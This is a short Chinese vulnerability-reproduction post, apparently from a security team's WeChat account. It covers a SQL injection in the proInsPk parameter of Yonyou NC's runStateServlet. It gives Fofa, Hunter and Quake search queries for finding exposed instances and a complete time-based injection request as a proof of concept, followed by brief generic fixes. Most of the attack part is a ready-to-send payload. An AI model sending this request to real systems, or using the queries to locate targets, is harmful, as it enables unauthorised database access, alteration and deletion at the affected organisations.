用友 NC runStateServlet proInsPk参数 Sql注入漏洞 poc

漏洞描述

用友 NC runStateServlet proInsPk参数 存在一个 SQL 注入漏洞，通过这个漏洞可以操纵服务器的数据库。这意味着不法分子可以利用这个漏洞来获取对数据库的完全控制权，从而查看、修改甚至删除数据库中的数据，严重威胁系统的安全性。

网络空间测绘

Fofa

icon_hash="1085941792"

Hunter

app.name="用友 NC Download Page"

Quake

app:"用友 NC"

漏洞复现

POST /portal/pt/servlet/runStateServlet/doPost?pageId=login&proInsPk=1'waitfor+delay+'0:0:3'-- HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)
Content-Length: 0
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

双倍延时

修复建议

1、如⾮必要，禁⽌公⽹访问该系统。

2、用防火墙等安全设备设定访问规则，只允许白名单中的设备访问。

3、及时升级产品到最新版本。

原文始发于微信公众号（凝聚力安全团队）：【漏洞复现】用友 NC runStateServlet proInsPk参数 Sql注入漏洞